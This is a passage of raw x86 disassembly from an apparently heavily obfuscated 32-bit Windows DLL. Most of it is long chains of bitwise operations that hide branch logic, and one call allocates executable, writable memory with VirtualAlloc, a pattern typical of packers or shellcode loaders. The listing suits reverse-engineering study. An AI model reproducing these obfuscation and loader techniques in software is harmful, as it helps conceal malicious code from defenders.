xor eax, edi
xor eax, 0xfa971dda
or ecx, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1b3d3f58
mov edi, eax
and edi, 0xe4c2c0a7
or edi, edx
xor edi, 0xe4c2c0a7
mov esi, edi
xor esi, ecx
and esi, edi
and ecx, 0x3a1d6c6e
and eax, 0xc5e29391
or eax, ecx
mov edx, eax
xor edx, 0x22052c0a
mov edi, esi
not edi
xor eax, 0xc5e29391
mov ecx, edi
or ecx, eax
not ecx
and edi, 0x587850f4
and esi, 0xa787af0b
or esi, edi
and eax, 0x587850f4
and edx, 0xa787af0b
or edx, eax
xor edx, esi
or edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xb8d32b66
mov eax, edx
and eax, 0x472cd499
or eax, esi
mov esi, eax
xor esi, 0x700d081
xor eax, 0x30c20262
and eax, 0x70ee067a
and esi, 0x8f11f985
or esi, eax
mov eax, esi
xor eax, 0x70ee067a
xor esi, 0x8f11f985
mov ebx, esi
or ebx, 0xfffffffe
and esi, 1
and eax, 0xfffffffe
or eax, esi
mov esi, eax
not esi
mov edi, ebx
or ebx, esi
and esi, 0x50d5722d
and eax, 0xaf2a8dd2
or eax, esi
and edi, 0x50d5722d
xor eax, edi
not ebx
or ebx, eax
mov eax, ebx
not eax
mov esi, eax
and esi, 0x55e71afa
mov edi, ebx
and edi, 0xaa18e505
or edi, esi
mov esi, edi
xor esi, 0x104001
xor edi, 0x41230020
or edi, 0x2882508
and edi, 0x63ab2528
and esi, 0x504041
or esi, edi
or eax, 0x61230020
and eax, 0x63ab2528
and ebx, 0x9c049a96
or ebx, eax
xor ebx, esi
mov eax, edx
and eax, 0x1d088f12
mov esi, ecx
and esi, 0xe2f770ed
or esi, eax
mov eax, esi
xor eax, 0xe2f770ed
xor esi, 0x19000312
and esi, 0xb9435393
mov edi, eax
and edi, 0x46bcac6c
or edi, esi
xor edi, 0xb9435392
and eax, 1
or eax, edi
mov esi, ecx
and esi, 0xfffffffe
and edx, 1
or edx, esi
mov esi, eax
not esi
xor ecx, edx
and ecx, edx
mov edi, ecx
not edi
mov edx, esi
xor edx, edi
and edx, esi
and eax, 0xa75a3a71
and esi, 0x58a5c58e
or esi, eax
and edi, 0xa75a3a71
and ecx, 0x58a5c58e
or ecx, edi
xor ecx, esi
mov esi, edx
not esi
mov eax, esi
and eax, 0x27db3e72
and edx, 0xd824c18d
or edx, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0x27db3e72
and ecx, 0xd824c18d
or ecx, eax
mov eax, ebx
xor ebx, 0x9e8cbf9e
xor eax, 0x61734061
mov dword [ebp - 0x18], eax
xor ecx, edx
not esi
or esi, ecx
mov ecx, eax
and ecx, 0xa01db98b
mov eax, ebx
and eax, 0x5fe24674
or eax, ecx
mov ecx, eax
xor ecx, 0x12004004
xor eax, 0x8019a100
and eax, 0xcdfba770
and ecx, 0x3204588f
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ecx, esi
not ecx
mov eax, esi
mov dword [ebp - 0x24], esi
and eax, 0x1f49ea7b
mov edx, ecx
mov dword [ebp - 0x14], ecx
and ecx, 0xe0b61584
or ecx, eax
mov eax, edx
and eax, esi
mov edx, eax
not edx
or esi, edx
and edx, 0x1f49ea7b
and eax, 0xe0b61584
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
mov edi, dword [ebp - 0x1c]
mov esi, edi
xor esi, 0xcc2ba040
mov eax, edi
mov ecx, edi
xor ecx, 0x3204588f
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x28], ecx
and eax, 0x11d417be
and esi, 0xee2be841
or esi, eax
mov eax, dword [ebp - 0x18]
or eax, 0x8211302
and ebx, 0x410860a9
and eax, 0x28a19746
or eax, ebx
mov ebx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x5c894d38
and ecx, eax
mov dword [ebp - 0x20], ecx
mov ecx, eax
not eax
mov dword [ebp - 0x18], eax
and eax, 0xf2dc9421
and ecx, 0xd236bde
or ecx, eax
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0x9e771b12
mov ecx, dword [ebp - 0x24]
and ecx, 0x6188e4ed
or ecx, eax
xor edx, ecx
and edx, ecx
mov dword [ebp - 0x14], edx
xor esi, 0x8fa30cac
or esi, edi
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xadbfeae7
xor esi, 0x7a2fc3cc
and esi, eax
mov edi, esi
and eax, 0x52401518
or eax, ecx
mov esi, ebx
mov ecx, ebx
xor ecx, 0x28a19746
mov edx, ebx
xor esi, 0xad71ab75
mov dword [ebp - 0x30], esi
and esi, ecx
mov ecx, eax
xor ecx, 0x85902823
or ecx, 0x7a2fc3cc
mov dword [ebp - 0x24], eax
xor eax, 0x400000
mov ebx, ecx
and ebx, 0x4c32dd97
and eax, 0x81c02020
or eax, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x4c32dd97
and edi, 0xb3cd2268
or edi, ebx
xor edi, eax
not ecx
or ecx, edi
xor edx, 0xd75e68b9
mov edi, dword [ebp - 0x30]
and edi, edx
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x1b8ac3ac
and edi, 0x60502c53
or edi, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0x9f8ad3ac
and esi, 0x60002441
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, ecx
xor esi, eax
mov eax, dword [ebp - 0x24]
xor eax, 0x40000408
or edx, eax
not edx
or edx, esi
mov esi, dword [ebp - 0x2c]
xor esi, 0x6cab8f33
or esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
mov eax, edi
not eax
mov ecx, esi
or ecx, eax
and eax, 0x91f77076
and edi, 0x6e088f89
or edi, eax
xor edi, esi
mov eax, edi
xor eax, 0x6e088f89
xor edi, 0x91f77076
mov esi, edi
and esi, 0x55af2364
and eax, 0xaa50dc9b
or eax, esi
xor eax, ecx
or edi, ecx
xor eax, 0xaa50dc9b
not edi
or edi, eax
not edx
mov eax, edx
xor eax, edi
not eax
and eax, edi
or edx, edi
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xaf0b3f9d
and eax, 0x50f4c062
or eax, ecx
xor eax, edx
or ebx, edx
xor eax, 0x50f4c062
not ebx
or ebx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x5c894d38
or dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
xor eax, 0x9172ea48
mov edi, dword [ebp - 0x28]
and eax, edi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xce9df076
and eax, 0x31620f89
or eax, ecx
mov ecx, edi
mov edi, dword [ebp - 0x18]
or edi, ecx
or ecx, 0x5c894d38
xor edx, 0x1620200
or esi, ecx
and ecx, 0xce9df076
and edx, 0x21620281
or edx, ecx
xor edx, eax
not esi
or esi, edx
xor esi, dword [ebp - 0x20]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xd8584305
and esi, 0x27a7bcfa
or esi, ecx
mov edx, edi
mov ecx, edi
not ecx
or eax, edi
and edx, 0xd8584305
and ecx, 0x27a7bcfa
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, ebx
not ecx
mov edx, ebx
or edx, 0xcc1744c2
and edx, 0xcf3766e7
mov edi, ecx
and edi, 0x889800
or edi, edx
mov edx, ecx
or edx, 0x3202225
and edx, 0xcf3766e7
and ebx, 0x30400118
or ebx, edx
mov esi, eax
not esi
xor ebx, edi
mov edx, esi
or edx, 0x70510548
and edx, 0x7271274c
or ecx, eax
mov edi, eax
and eax, 0x1889821
or eax, edx
or edi, 0x2202204
and edi, 0x7271274c
and esi, 0x8c064092
or esi, edi
xor esi, eax
xor esi, ebx
mov eax, ecx
not eax
mov edx, esi
not edx
mov edi, edx
and edi, 0xdfc500e2
and esi, 0x203aff1d
or esi, edi
or edx, ecx
and ecx, 0xdfc500e2
and eax, 0x203aff1d
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov esi, edx
not esi
mov eax, edx
xor eax, 0xb891018
and eax, edx
mov ecx, esi
or ecx, eax
not eax
and eax, 0xf476efe7
and ecx, 0xb891018
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4a30aa5e
mov edi, eax
and edi, 0xb5cf55a1
or edi, ecx
xor edi, 0xc7ff8bd9
and eax, 0x8dcf2187
or eax, edi
mov edi, esi
and edi, 0x43cc8b4a
mov ecx, edx
and ecx, 0xbc3374b5
or ecx, edi
mov ebx, eax
not ebx
xor ecx, 0xce03aacd
or ecx, esi
mov edi, ebx
xor edi, ecx
and edi, ebx
xor ecx, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xb2cb68
and edi, 0xff4d3497
or edi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0xb2cb68
and ecx, 0xff4d3497
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x82001
xor eax, 0x7230de78
mov edi, eax
and edi, 0xdbc1555c
and ecx, 0x2008a801
and eax, 0x43602a2
or eax, ecx
xor eax, 0x43602a2
or eax, edi
mov edi, eax
not edi
and eax, 0x704e8a66
mov ecx, edi
and ecx, 0x8fb17599
or ecx, eax
xor ecx, 0xab8fdf3a
and edi, 0xdbc1555c
or edi, ecx
mov eax, esi
and eax, 0x220c004
mov ecx, edx
and ecx, 0xf0900c82
or ecx, eax
xor ecx, 0xf0900c82
mov eax, edx
and eax, 0xd4f3379
or eax, ecx
mov ebx, eax
xor ebx, 0xd68e6625
xor eax, 0x202119c8
and esi, 0x30aeeb2e
and edx, 0xcf5114d1
or edx, esi
mov ecx, ebx
and ecx, 0x8bd8c212
and eax, 0x74273ded
or eax, ecx
mov ecx, edx
xor ecx, 0x440114c1
xor edx, 0x30aeeb2e
or ebx, edx
and edx, 0x8bd8c212
and ecx, 0x74273ded
or ecx, edx
mov dword [ebp - 0x18], edi
mov edx, edi
not edx
xor ecx, eax
not ebx
or ebx, ecx
mov esi, ebx
mov eax, edx
and eax, 0xc815620b
mov ecx, edi
and ecx, 0x37ea9df4
or ecx, eax
xor ecx, 0xad94b521
mov ebx, ecx
xor ebx, edx
mov dword [ebp - 0x24], edx
and ebx, ecx
mov dword [ebp - 0x2c], ebx
mov eax, edi
and eax, 0x1f32ffd7
and edx, 0xe0cd0028
or edx, eax
mov edi, esi
not edi
mov dword [ebp - 0x1c], edi
or edi, 0x45011608
mov eax, esi
and eax, 0x80142054
and edi, 0x5f6b1e89
or edi, eax
mov eax, esi
mov dword [ebp - 0x28], esi
and eax, 0x9a7e28d5
mov ecx, dword [ebp - 0x1c]
and ecx, 0x6581d72a
or ecx, eax
mov eax, ecx
xor eax, esi
and eax, ecx
mov dword [ebp - 0x20], eax
xor edx, 0x7ab328fd
or edx, dword [ebp - 0x18]
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x468a026c
mov eax, ecx
and eax, 0xb975fd93
or eax, esi
not ebx
mov esi, eax
xor esi, 0xb975fd93
or esi, ebx
mov dword [ebp - 0x14], esi
mov esi, ebx
and esi, 0xe15494a9
mov ebx, dword [ebp - 0x2c]
and ebx, 0x1eab6b56
or ebx, esi
mov esi, eax
xor esi, 8
or esi, 0x14212b50
xor eax, 0xa0009400
and esi, 0x15752bd9
and eax, 0xe0009420
or eax, esi
or edx, 0x1540089
and edx, 0x15752bd9
and ecx, 0xa8a4006
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, ebx
xor eax, ecx
mov ecx, dword [ebp - 0x14]
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov ebx, edi
xor ebx, 0x5f6b1e89
xor edi, 0x20044164
and edi, 0x66444bed
mov edx, ebx
and edx, 0x983a2010
or edx, edi
mov ecx, edx
xor ecx, 0x99bbb412
mov eax, edx
xor eax, 0x659c5469
and eax, ecx
and ebx, 0x98262051
or ebx, eax
mov edi, dword [ebp - 0x20]
mov esi, edi
not esi
mov eax, esi
and eax, 0x3d81f84
and edi, 0xfc27e07b
or edi, eax
mov eax, edi
xor eax, edi
not eax
and eax, ebx
xor eax, edi
xor edx, 0x66444bed
mov edi, edx
and edi, 0x4e140201
and ecx, 0xb06aecfe
or ecx, edi
mov edi, dword [ebp - 0x20]
or edx, edi
and edi, 0x4f951301
and esi, 0xb06aecfe
or esi, edi
xor esi, ecx
not edx
or edx, esi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x60f18423
and eax, 0x9f0e7bdc
or eax, ecx
mov ecx, edx
not ecx
or esi, edx
and edx, 0x60f18423
and ecx, 0x9f0e7bdc
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x1e5a3ff5
mov edx, esi
and edx, 0xe1a5c00a
or edx, eax
mov eax, edx
xor eax, 0xe1a5c00a
xor edx, 0xa8ba5c4b
and edx, eax
mov eax, edx
not eax
mov edi, eax
and edi, 0xe9c1de2c
and edx, 0x163e21d3
or edx, edi
or ecx, 0xb6e063be
or eax, ecx
and ecx, 0xe9c1de2c
and esi, 0x1e0041
or esi, ecx
xor esi, edx
not eax
or eax, esi
xor eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov ecx, edx
and edx, 0x9f728c13
mov esi, edx
mov edx, dword [ebp - 0x18]
and edx, 0x608d73ec
or edx, esi
xor eax, 0xb6e063be
mov esi, dword [ebp - 0x1c]
or ecx, esi
and esi, 0x9f728c13
mov edi, dword [ebp - 0x28]
and edi, 0x608d73ec
or edi, esi
xor edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0x51134a64
and edi, 0xaeecb59b
or edi, esi
xor edi, ecx
xor edi, 0xaeecb59b
or edx, ecx
not edx
or edx, edi
xor edx, eax
and eax, edx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, edx
mov esi, edx
and esi, 0xa7a177b1
mov edi, eax
and edi, 0x585e884e
or edi, esi
mov ebx, ecx
not ebx
mov esi, edx
or esi, ebx
and ebx, 0xa7a177b1
and ecx, 0x585e884e
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov edi, esi
xor edi, 0x243eaaa3
and edi, esi
mov ecx, eax
and ecx, 0xdbc1555c
and edx, 0x243eaaa3
or edx, ecx
xor eax, edx
and eax, edx
mov ecx, eax
not ecx
mov esi, edi
xor esi, ecx
and esi, edi
xor ecx, eax
and ecx, edi
xor ecx, eax
mov edi, esi
not edi
mov eax, ecx
not eax
mov edx, edi
and edx, 0xa24de774
and esi, 0x5db2188b
or esi, edx
or edi, eax
and eax, 0xa24de774
and ecx, 0x5db2188b
or ecx, eax
xor ecx, esi
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
mov ebx, ecx
mov dword [ebp - 0x18], ecx
and eax, 0x10cc2204
mov edx, edi
and edx, 0x1108038
or edx, eax
xor edx, 0x1108038
mov ecx, edi
xor ecx, 0x11dca23c
and ecx, edi
mov dword [ebp - 0x1c], edi
or ecx, edx
mov eax, ecx
xor eax, 0x8c011800
xor ecx, 0x108c8038
and ecx, 0x72aec5fb
and eax, 0x8d513a04
or eax, ecx
mov ecx, eax
xor ecx, 0x9502204
xor eax, 0x420a8459
and eax, 0xc60b9c59
and ecx, 0x39f463a6
or ecx, eax
mov eax, ecx
xor eax, 0xb4005f46
xor ecx, 0x39f463a6
and ecx, eax
or ebx, 0x700b0105
mov eax, edi
and eax, 0x8943000
and ebx, 0xf56b0de5
or ebx, eax
mov eax, ecx
not eax
mov dword [ebp - 0x20], eax
and eax, 0xad04ad6d
mov edx, ecx
and edx, 0x52fb5292
or edx, eax
mov dword [ebp - 0x24], edx
mov edi, ebx
xor edi, 0xa94f21a
mov dword [ebp - 0x14], ebx
xor ebx, 0x586fa088
mov eax, ebx
and eax, edi
mov edx, eax
not edx
mov esi, edx
and esi, 0x116576a2
and eax, 0x8c908945
or eax, esi
mov esi, dword [ebp - 0x14]
xor esi, 0xf56b0de5
mov dword [ebp - 0x14], esi
and ebx, esi
mov esi, ebx
not esi
or edx, esi
and esi, 0x316576aa
and ebx, 0x8c900840
or ebx, esi
xor ebx, eax
not edx
or edx, ebx
xor edx, dword [ebp - 0x24]
mov eax, ecx
and eax, 0x84bea8ca
mov esi, dword [ebp - 0x20]
and esi, 0x7b415735
or esi, eax
mov eax, dword [ebp - 0x14]
or ecx, eax
and eax, 0x84b428c0
and edi, 0x7b415735
or edi, eax
xor edi, esi
not ecx
or ecx, edi
not ecx
or ecx, edx
mov esi, dword [ebp - 0x18]
mov edx, esi
and edx, 0x47857d7e
mov edi, dword [ebp - 0x1c]
mov eax, edi
and eax, 0xb87a8281
or eax, edx
mov edx, eax
xor edx, 1
xor eax, 0x40000004
or eax, 0xfb11202
and eax, 0x6ffb9286
and edx, 0x4809
or edx, eax
mov eax, ecx
xor eax, 0x720bc31f
or esi, 0x604a8084
and esi, 0x6ffb9286
and edi, 0x90042570
or edi, esi
xor edi, edx
mov esi, edi
xor esi, 0x9fb53772
xor ecx, 0x8df43ce0
xor edi, 0x604ac88d
mov edx, edi
xor edx, ecx
and edx, esi
and edi, 0x1cec9c61
and esi, 0xe313639e
or esi, edi
xor esi, ecx
xor esi, 0xe313639e
and esi, eax
or esi, edx
not esi
and ecx, 0x6d665b4a
and eax, 0x9299a4b5
or eax, ecx
xor eax, 0x9299a4b5
or eax, esi
xor eax, 0x662c35e0
xor eax, 0x99d3ca1f
setne byte [ebp - 0x14]
sete dl
cmp dword [0x10049904], 0xa
setl ch
setge dh
mov ah, dh
inc ah
mov byte [ebp - 0x18], ah
and ah, dh
xor ah, 1
mov bh, dh
xor bh, ah
or ah, dh
xor ah, 1
or bh, ah
mov al, bh
xor al, 1
mov bl, al
and bl, bh
xor bl, 1
mov cl, bh
xor cl, bl
or bl, bh
xor bl, 1
or bl, cl
mov cl, bl
xor cl, 1
and cl, bh
mov bh, bl
xor bh, al
and bh, bl
and bl, al
or bl, cl
or bl, bh
mov al, bl
xor al, 1
mov cl, dh
and cl, al
mov bh, bl
and bh, ch
or bh, cl
mov cl, al
or cl, ch
xor cl, 1
or bh, cl
xor al, dh
or ch, bl
xor ch, 1
or ch, al
xor bl, dh
and bl, dh
mov dh, bl
and bl, ch
xor ch, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
and dh, ch
or dh, bl
xor al, 1
xor dh, 1
mov ecx, eax
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov cl, dh
mov al, bh
xor al, dh
and al, bh
and dh, bh
xor bh, 1
xor cl, 1
and cl, bh
or dh, cl
mov ecx, eax
xor cl, 1
mov bl, dh
xor bl, 1
or bl, cl
xor al, dh
xor bl, 1
or bl, al
xor bl, 1
or bl, dh
mov al, bl
xor al, 1
and al, bl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov dh, al
xor dh, 1
mov ch, dh
and ch, al
mov cl, dh
xor cl, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
xor ch, 1
mov al, dl
or al, ch
xor al, 1
xor ch, dl
or ch, al
mov bh, ch
xor bh, 1
mov al, byte [ebp - 0x14]
xor dh, al
or bl, al
xor bl, 1
or bl, dh
mov dh, bl
xor dh, 1
and bl, dh
xor bl, 1
mov al, dh
xor al, bl
or bl, dh
xor bl, 1
or bl, al
mov al, ch
and al, bh
xor al, 1
or al, bh
xor al, 1
or al, ch
and bh, bl
xor bl, 1
and bl, ch
mov ecx, eax
xor cl, 1
or bl, bh
mov ch, al
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
or cl, dh
xor ch, dh
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
mov dh, ch
xor dh, 1
and dh, ch
xor dh, 1
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov ecx, ebx
xor cl, 1
mov ch, cl
xor cl, al
and al, bl
and ch, dh
or ch, al
or dh, bl
xor dh, 1
or dh, cl
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov byte [ebp - 0x1c], ch
mov ch, byte [ebp - 0x18]
or ah, ch
xor ch, dl
mov al, ah
and al, dl
mov dh, dl
xor dh, ah
and dl, dh
and dh, ah
mov cl, ah
xor cl, 1
mov ah, ch
xor ah, 1
movzx ebx, byte [ebp - 0x14]
and bl, cl
or al, bl
xor cl, al
and cl, al
mov al, dl
xor al, 1
xor dl, dh
xor dh, 1
or dh, al
xor dh, 1
or dh, dl
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
xor dh, 1
or dh, al
mov cl, dh
xor cl, 1
and cl, dh
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov dh, cl
xor dh, 1
and ah, ch
xor ah, 1
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
mov dl, ah
xor dl, 1
mov ebx, ecx
and bl, dh
xor bl, 1
mov al, bl
xor al, cl
mov bh, bl
or bh, cl
xor bh, 1
or bh, al
xor bh, 1
mov al, dl
xor al, bh
or bh, ah
and al, ah
xor al, 1
mov ch, bh
xor ch, al
or al, bh
xor al, 1
or al, ch
or bl, dh
xor bl, 1
or bl, cl
xor bl, ah
or dl, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov ecx, edx
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov ch, al
xor ch, 1
mov cl, ch
xor ch, dl
and dl, al
and cl, ah
or cl, dl
or ah, al
xor ah, 1
or ah, ch
xor cl, 1
mov al, cl
xor al, ah
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
and cl, ah
movzx ebx, byte [ebp - 0x1c]
mov edx, ebx
xor dl, 1
mov dh, ah
mov al, ah
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
or ah, bl
xor ah, 1
xor dh, dl
or al, dl
xor al, 1
or al, dh
and dh, bl
or dh, ah
mov ah, dh
xor ah, 1
and dh, bl
xor cl, 1
or cl, ch
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
xor cl, 1
or cl, dl
and dl, ah
or dh, dl
xor dh, 1
or dh, ah
mov dl, dh
xor dl, 1
xor al, 1
xor cl, al
and al, cl
xor al, 1
mov ah, al
xor ah, cl
or al, cl
xor al, 1
or al, ah
mov cl, dh
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, dh
mov ch, al
xor ch, 1
mov ah, cl
xor ah, 1
mov dh, ah
and dh, cl
xor dh, 1
mov dl, dh
xor dl, ah
or dh, ah
xor dh, 1
or dh, dl
mov ebx, eax
and bl, ch
xor bl, 1
or bl, al
xor bl, 1
or bl, ch
mov dl, dh
xor dl, bl
and bl, dl
and dl, dh
xor bl, 1
xor dl, 1
mov dh, bl
xor dh, dl
or dl, bl
xor dl, 1
or dl, dh
and ch, ah
or ah, al
and cl, al
or cl, ch
xor cl, 1
mov al, cl
xor al, ah
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov al, ah
and al, cl
xor ah, al
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xc435d421
mov esi, 0x1467bbb2
cmovne eax, esi
test dl, 1
mov edx, 0xc435d421
jmp 0x10024d3b
mov eax, dword [ebp - 0x44]
push 0x40
push 0x1000
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax], 0
sete byte [ebp - 0x55]
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov dword [ebp - 0x14], eax
and eax, 0x5cae3839
mov ecx, edx
mov ebx, edx
and ecx, 0xa351c7c6
or ecx, eax
mov eax, ecx
xor eax, 0x800085c4
xor ecx, 0x442c0001
and ecx, 0x677d4203
and eax, 0x9882bdfc
or eax, ecx
mov edx, eax
xor edx, 0x26514003
xor eax, 0x9802a110
and eax, 0xd92ea310
and edx, 0x26d15cef
or edx, eax
mov ecx, edx
xor ecx, 0x22415465
xor edx, 0x190c2310
and edx, 0x1d9c2b9a
and ecx, 0xe263d465
or ecx, edx
mov edx, ecx
xor edx, 0x1d9c2b9a
xor ecx, 0xe263d465
mov esi, edx
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0xc552fa27
and esi, 0x3aad05d8
or esi, edi
or eax, edx
and edx, 0xc552fa27
and ecx, 0x3aad05d8
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x152389ab
and ecx, eax
and eax, 0xeadc7654
or eax, edx
xor eax, 0xeadc7654
or eax, ecx
mov esi, eax
not esi
mov edx, esi
and edx, 0x28be869a
mov ecx, eax
and ecx, 0xd7417965
or ecx, edx
xor ecx, 0xcc7f172a
or esi, 0x111a0405
and eax, 0x24810090
and esi, 0xd15a9525
or esi, eax
xor esi, 0xd15a9525
or esi, ecx
mov dword [ebp - 0x28], ebx
mov edx, ebx
or edx, 0xe4c191b0
mov eax, edx
and eax, 0x57b9f58f
mov ecx, dword [ebp - 0x14]
and ecx, 0x8060a40
or ecx, eax
mov eax, ebx
xor eax, 0x1b3e6e4f
and eax, ebx
mov edi, eax
not edi
or edx, edi
and edi, 0x57b9f58f
and eax, 0xa8460a70
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov edi, esi
not edi
mov ecx, esi
and ecx, 0x84c36049
mov eax, edi
and eax, 0x8140420
or eax, ecx
mov ecx, esi
and ecx, 0x9d2c75d0
and edi, 0x62d38a2f
or edi, ecx
xor edi, 0x5825fa3f
or edi, esi
mov dword [ebp - 0x18], edi
mov ebx, esi
xor eax, 0x8140420
and ebx, 0x73289b96
or ebx, eax
mov dword [ebp - 0x30], ebx
not edx
or edx, dword [ebp - 0x14]
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xeb1b5aa6
mov esi, eax
and esi, 0x14e4a559
or esi, ecx
mov ecx, esi
xor ecx, 0xa001
xor esi, 0x100a4
or esi, 0x5202150a
and esi, 0x56a315fe
and ecx, 0xa000a001
or ecx, esi
mov esi, edx
or esi, 0x4a100f4
and esi, 0x56a315fe
mov edi, eax
and edi, 0x95c4a00
or edi, esi
xor edi, ecx
mov dword [ebp - 0x2c], edi
mov ecx, ebx
not ecx
mov dword [ebp - 0x24], ecx
and ecx, 0xc5098fef
mov esi, ebx
and esi, 0x3af67010
or esi, ecx
mov ebx, edi
xor ebx, 0x5b5e5f0a
mov dword [ebp - 0x20], ebx
mov ecx, edi
xor ecx, 0xa4a1a0f5
mov dword [ebp - 0x1c], ecx
or ecx, 0x1008f01
mov edi, ebx
and edi, 0x10946010
and ecx, 0x2b629f01
or ecx, edi
and edx, 0x840007ad
and eax, 0x41098842
or eax, edx
not esi
or esi, dword [ebp - 0x24]
mov edx, esi
mov edi, dword [ebp - 0x18]
or edx, edi
xor edi, esi
not edx
or edi, edx
mov dword [ebp - 0x18], edi
mov edx, ecx
xor edx, 0xa001000
mov edi, ecx
xor edi, 0xd49d60fe
mov esi, edi
and esi, 0x3572812c
and edx, 0xa847010
or edx, esi
mov esi, edx
xor esi, 0x100000
or esi, 0x48000459
mov ebx, edx
xor edx, 0x801880
and esi, 0x48106459
and edx, 0x158218a0
or edx, esi
or edi, 0x106000
xor ecx, 0x22600000
and edi, 0x48106459
and ecx, 0x22640000
or ecx, edi
xor ecx, edx
mov edx, eax
xor edx, 0x41098842
or edx, 0x3af67010
mov esi, edx
not esi
xor eax, 0x81000f0d
and eax, esi
mov edi, eax
not edi
or esi, edi
and edi, 0x1a4cb01c
and eax, 0xc5010fe3
or eax, edi
or ebx, edx
and edx, 0x59248a0
or edx, 0xa4c801c
xor edx, eax
not esi
and esi, 0x50008a0
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, ecx
xor edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x32d112ed
and edx, 0xcd2eed12
or edx, ecx
mov ecx, ebx
or ecx, 0xc0090ec3
not ebx
or eax, ecx
and ecx, 0x32d112ed
and ebx, 0x5008100
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov esi, eax
not esi
mov edx, eax
xor edx, 0x9f6d180e
and edx, esi
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x4be09914
and edx, 0xb41f66eb
or edx, edi
or esi, 0x9f6d180e
or ecx, esi
and esi, 0x4be09914
and eax, 0x201266e1
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, dword [ebp - 0x18]
xor edx, 0x9f6d180e
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x30]
mov edi, ecx
xor edi, 0xc4ad6e18
and edi, ecx
mov eax, dword [ebp - 0x24]
and eax, 0xe6c2600f
and ecx, 0x193d9ff0
or ecx, eax
mov eax, ecx
xor eax, 0x193d9ff0
mov dword [ebp - 0x24], eax
mov ebx, ecx
xor ebx, 0x226f0e17
and ebx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0xc5ea3842
and ebx, 0x3a15c7bd
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0xc5ea3842
and edi, 0x3a15c7bd
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov edx, dword [ebp - 0x20]
mov edi, edx
or edi, 0x3b5291e7
